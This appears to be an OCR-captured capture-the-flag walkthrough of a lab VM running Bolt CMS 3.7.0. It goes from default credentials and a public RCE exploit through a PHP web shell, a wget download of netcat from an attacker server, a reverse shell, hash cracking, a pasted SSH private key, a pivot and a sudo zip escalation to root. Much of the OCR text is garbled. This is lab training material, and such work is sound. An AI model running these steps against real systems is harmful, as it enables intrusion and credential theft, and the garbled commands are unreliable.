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Website

So port 80 is our first choice for further research:
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Welcome to the Bolt Base-2018 theme.
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It is a CMS powered by Bolt:

Recent Pages

e Ea possunt paria non esse.

o Sed fortuna fortis;
e Athocineo M.

e Quid enim possumus hoc agere
divinius?

Pages overview

20 - This website is Built with Bolt.

Recent Entries Recent Showcases
e Sed nimis multa.
o Immo videri fortasse.
e An potest cupiditas finiri?
At multis malis affectus.  Duo Reges: constructio interrete.

Nemo igitur esse beatus potest. e Facillimum id quidem est, inquam.

Showcases overview

o Videsne, ut haec concinant?

Entries overview

https://www.exploit-db.com/exploits/48296

Bolt CMS 3.7.0 - Authenticated Remote Code Execution

EDB-ID: CVE:

EDB Verified: %X

@

t Exploit Ti
t Date: 202 -05
t Exploit Author: r3m@t3null

r Homepage: https://bolt.cm

are Link: https://bolt.cm

Author:

R3MOT3NU11

Exploit: ¥

Become a Certified

Date: Penetration Tester

Type: Platform

WEBAPPS :
Enroll in Penetration Testing with
Kali Linux and pass the exam to
become an Offensive Security
Certified Professional (OSCP). All

new content for 2020.

GET CERTIFIED

/ {}
Vulnerable App:

: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
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This is an authenticated exploit, so we first need to find a valid account.

Bolt has a dashboard available at /bolt/ :

®®0® O signintoBolt-Bolt X +
& > C O NotSecure | 192.168.16.27/bolt/login * B EHEE D6

View site

BOlt@

You are using the IP address 192.168.16.27 as
host name. This is known to cause problems with
sessions. If you experience difficulties logging on,
either configure your webserver to use a proper
hostname, or use another browser.

Please log on.

| forgot my password ...
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Revshell

We try a few obvious ones, admin / admin and admin / password. The last one works:

® ®0® O Dashboard-Bolt X +

& > C O NotSecure | 192.168.16.27/bolt * B EHEE 6

Dashboard Dashboard

B Content
u've been logged on successfully.
Homepage
n Pages » Add ... v
B cvies » Recently edited Pages More Pages »
m Showcases > 215  An hoc usque quaque, aliter in vita? Lorem ipsum dolor sit amet
g elit. Si long s dictata sunt. Nec lapathi su
Blocks » . . .
At hoc in eo M. Lorem ipsum dolor sit amet, con: tur adipi
i in volupt: summum bonum poneret. Tubulo put
Settings 4 Quid enim possumus hoc agere divinius? Lorem ips
piscing elit. Claudii libidini, qui tum
Configuration »

File Management )

Ea possunt
test i

Extensions

B U8~

) More Entries »
¢ Collapse sidebar

£ Bolt 3.7.0 - @ About
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With this account we can try the exploit:

python3 boltexploit.py http://192.168.16.27 admin password]]

It will give us a command prompt that we can use to execute commands on the system:

[+] Retrieving CSRF token to submit the login form

[+] Login token is : -CGGjhXTbUXOvSKG04JeepWU601IwzPnk5n5pybmJtc
[+] SESSION INJECTION

[-] Not found.

[-] Not found.

[-] Not found.

[-] Not found.

[-] Not found.

[-]
[-]

Not found.
Not found.

|+| FOUND : testi15

id:
T ruyunv . LE>SLLD
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

~ 1 [T ~

. - a— 1
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uname -a:

LIMPOdOVOUPTWIIWAZL - LZLKROIICLYU ,5.0. DLAUK ,d.VU.{1jf>.10. _ULDI1/UDKI_pPIulLLe ,>5.403. LWWUL_ODLZLCLCA

uname -a
Llnux EI"'Lt 3 16 0-6- amd64 #1 SMP Deblan 3. 16 56 1+deb8u1 (2018 05 08) x86 64 GNU/Llnux
pwd: )
pwd
/var /www/html/public/files

We can even use this to echo a minimal php shell into the directory for easier access:
: gcho <7php system(S GET[" "]) 7> ? g.ghp_

We can use this to upload a netcat reverse shell on the system and get a reverse shell like this:

First start a simple web server to serve some files, make sure the files you want to serve are in the
local directory:

-- - ——rr——y — i = ———

» python3 -m http. server
This will listen on port 8000 on you local machine
Using the c.php file we just dropped, we can browse to http://192.168.16.27/files/cmd.php?c=wget

http://10.212.134.200:8000/nc to
download a linux netcat to the server, you will see in your web server if it has been retrieved:

R e T —————— = ——- - ————

Serving HTTP on 0. 0.0.0 port 8000 (http: //0 0.0.0: 8000/) .
192.168.16.27 - - [25/Apr/2020 19:03:49] "GET /nc HTTP/1.1" 200 -

This file is dropped in the same directory as our c.php. We make this nc executable like this:

http://192.168.16.27/files/cmd.php?c=chmod

Now start a netcat listener on your own machine, listening on a free port (I choose 4444) and then
run it as a reverse shell like this:
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http://192.168.16.27/files/cmd.php?c=wget
http://10.212.134.200:8000/nc
http://192.168.16.27/files/cmd.php?c=chmod
http://192.168.16.27/files/cmd.php?c=wget
http://10.212.134.200:8000/nc
http://192.168.16.27/files/cmd.php?c=chmod

N/ _N __I 111
D N R/ QRN B U I
|/ NN I, 1|

If all goes well, you will see a connection coming in from the bolt server:
(Don’t forget to do the python pty dance, to make sure you have a shell with PTY’s allocated,
some commands, especially sudo, require a PTY shell to run)




In the app/database directory you will find the bolt.db SQLite3 database:

This contains a lot of tables:

y . . B
We’re interested in the bolt_users table:
sqlite> select * from bolt_users;

select * from bolt_users;
1|admin|$2y$10$8C3EtMc6nBszax0fCBIU.00T49XhQFtB1I2rhFbx.28Y7WIc1eNB. | |0|a@a.com|2020-04-25 16:59:19|192.168.100.1|[]|1|||||["root","everyone"]
2|wildone|$2y$10$2ZqbTKK1gDnCMVGD2MOSxeTS3GPSCLjXWtd1721122j3p6bjOCGq. |Wile E Coyote|O|wild@one.com|2020-04-25 16:03:44[192.168.100.1|[]|1] ||| |["editor"]

e e e

sqlite>

We see two users, the admin we already own, the other one is a wild one. We also see another IP
address, 192.168.100.1 (note to self)

The password is cracked using hashcat and the rockyou.txt password list:
sudo ./hashcat -m 3200 wildone.txt rockyou.txt

Which will yield the password:

$2y$10$ZZqbTKK1gDNCMvGD2MOSXxeTS3GPSCLjXWtd172112zj3p6bjOCGq. : snickers

~ ... - L L __

We can now try to elevate privileges to the wildone user. Looking in /home, there is no wildone user,
but wileec (and since we’re on a roll, we just try that account), and win!

www-data@Erit: /home$ su - wileec

su - wileec

Password: snickers

sl

And we have our first flag:

$ cat flagl.txt

cat flagl.txt
iEH{Hey!_Welcome_in}
$
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And this account has more goodies:

$ cd .ssh

cd .ssh

$ ls -al

1s -al

total 20

drwxr-xr-x 2 wileec wileec 4096 Apr 25 15:32 .

drwxr-xr-x 4 wileec wileec 4096 Apr 25 17:15 ..

“TW------- 1 wileec wileec 1675 Apr 25 15:19 id_rsa

-rw-r--r-- 1 wileec wileec 393 Apr 25 15:19 id_rsa.pub
-rw-r--r-- 1 wileec wileec 222 Apr 25 15:32 known_hosts

$ cat 1d_rsa

cat 1d_rsa

----- BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6BIKTND62594VCGAg3BomgwVMOLCQN1z6NKT8 1tkO6ECT5sK
R4LHg8 jUIBYAnwMIGsXg289w3FA2WjpAcIVzcVLa81RPxVaJl85HwvG/pRU9IgMOb
4JAVDZYKqxWCz4ES2Y8Uz0dN+udeYiCZ9kBObOGKAKY /3ywkx2gVS6PNHYQqDO18
QomfbzcL62x+NOzhJz5GoHY6kBYXsw4T10gGfs8WMnc4Md /zAPxW/ /cA2s0Yavsl
egyTm4As5uMUR313XWhI6/nj20I1/sgACK1umTIKRL44PwY7Ka0Cs6SFOg/k4CNZ
L6K3sY1ldT71dFulFVD7RBANNmomFpv/2KQOKOwWIDAQABAOIBAFjyTI1c8x0fawOK
Bu3W8C4/fQwOg6301raelDeZb+xsYSOR8MFwSrWkCi6AQYUtKz jfIIf2WIADUKAg
fDrh2FfPcR102BB9VcVg4gfDNncZp8fQrPWDKpShLxtZ1dNf2XJGkgnO4AHMpxXg
+j5Teop7ab9Scv+4sas7phVjAiFRnar+CTBOpZALZe6aVK3uQubUnnbyb/LnmsRm
8ft414R1b65EPT3u6G05Rx4sdvKpLnZdUcaV+XHs6ux2Xqs9cFMnygJI7huuEnEA
KuzzaljBBfcE6m7q3xHvxjRAN2bVZjfAX1DM6y8+0DUGNZOGX7uW/qZdocBa8gNf
w0z41qkCgYEA/y/uVyryUPelZ/azWZZQ6Ksy9kym4m9c9j8RSqQmZdalu+6SSxnW
P10ytC10QTi1EVghESNzXRHubwlECSEhOjWGGgPWqyGegsconlHxaOVxWjCsoST41
r602+AT1VIVcIWrtbéckzZv7yL4ieRdw35rVKWPHVYmMP36T6IV1IVTp8CgYEA6GNYN
kA31nt1lruCPRA63uX6gD9gD1]IV38algySeEpcrE3/jEDkX6+4IPAI/FWfqlLqV1l0
urr /V5YokHOdHNFyYLoUOgnVtsVs tFDtOCkOK5LmZdDAVFGAZ /ZQd1pv/XWMEV5U
VyWPGtIyoZ0Op3D6txgyAaOK6ZzulTIYdN3mb+0OCgYBG7uLYdgafPQdMS8X0zBS3
aAclcY8d+AimJke/MLu/qRwhHiKqH4dvECL11IYhGP20EGoyurhXv+g+717nNLop
EIfbxu3vAOcpJGE2JA723S09jy2GLnDRUVUr022aul4mp9tSIugéenmFfvtHvwH
9DKzYJ2I2PLrccepbyhpTwKBgAzAjOWVR580Xu7Nn10pQcWhSN4+/CNuwAvOiicZ
7+y4ZwGw+00jN3RwkevA89jSnLVge6xEMImTkpMekbsTSUUBY4D07 j19K4 /QYsWk
jAPa3pOyymWqfRKObYGrxThHKK2G0e2X0/dvDXDGT5WNISOUYC/ / jn+6xFEYW27X
TRB9A0GBAKXkpFAUWIHLFpJoN30sfgTsHhwIOpCa6sQPGB4Vv5qvH6S9Vg4eQP9y
St6++yBeCyKA3BazxQ+/4EhNpyoi1zKOQOy2fQvwrMDAr3tfEobIrNhkd+xzMSLvq
37NEkCO7BVxpd0OTjnn7677MshgBolgvpOTV6t4gGceAmzNIJy/6W

----- END RSA PRIVATE KEY-----

10 0f 12



An unencrypted ssh key!
Remember the other IP address? We could try to connect to that one, using the SSH key

We are really on roll now, we get access to the other system using the SSH key:

77777 LINWY N rnavmAal L NNl - - T T 7

$ ssh 192.168.100.1
ssh 192.168.100.1

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Ejit login: Sat Apr 25 10:35:03 2020 from 192.168.100.100

S

One of the first things you should always try is to see if you can run commands through sudo without
a password:
| $ sudo -1
| sudo -1

| Matching Defaults entries for wileec on Securus:

1 env_reset, mail_badpass,

‘ secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

ettt mm— = =y = ———

User wileec may run the following commands on Securus:
(jsmith) NOPASSWD: /usr/bin/zip

Apparently, we may use the zip command, ‘as user js_mith. This is ihteresting_... what can we do with A
zip?

If you look at gtfobins (https://gtfobins.github.io/) we can see how we may leverage zip:

| Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if
enabled on sudo.

TF=$ (mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm STF
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This might work, it spawns a shell under the new user, and lo and behold: it works:

And we’re mr or mrs Smith (and admit, who does not want to be a Mr. or Mrs. Smith once in their
life?), as an extra reward, there is
another flag there:

SIWSE TS T L S1eenr s 07> nNuv 2 £LULl0 .plulLLE
$ 1s -al
1s -al

total 24
drwxrwx- -
drwxr-xr-
SFW-T--T-

2 jsmith jsmith 4096 Apr 25 12:39 .

5 root root 4096 Apr 25 10:42 .

1 jsmith jsmith 220 Nov 5 2016 .bash_logout
-rw-r--r-- 1 jsmith jsmith 3515 Nov 5 2016 .bashrc
-rw-r--r-- 1 wileec wileec 33 Apr 25 12:21 flag2.txt
;:i~r~-r-~ 1 jsmith jsmith 675 Nov 5 2016 .profile

$

X

$.Eaf fiagzjt;E“--" O,
cat flag2.txt
Iri{Welcome_Home_Wile_E_Coyote!}
$

So, the final step is to escalate to root. Again, we check our sudo rights:

$ sudo -1

sudo -1

Matching Defaults entries for jsmith on Securus:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jsmith may run the following commands on Securus:
(ALL : ALL) NOPASSWD: ALL
Nice!

This gives us root access via sudo -s and we have found the root flag:

# pwd && whoami && hostname && cat flag3.txt
pwd && whoami && hostname && cat flag3.txt
/root

root

Securus
TH:{Great_work!_You_pwned_Erit_Securus_1!}

#

And this completes the machine.
We hope you enjoy pwning it as much as we enjoyed building it
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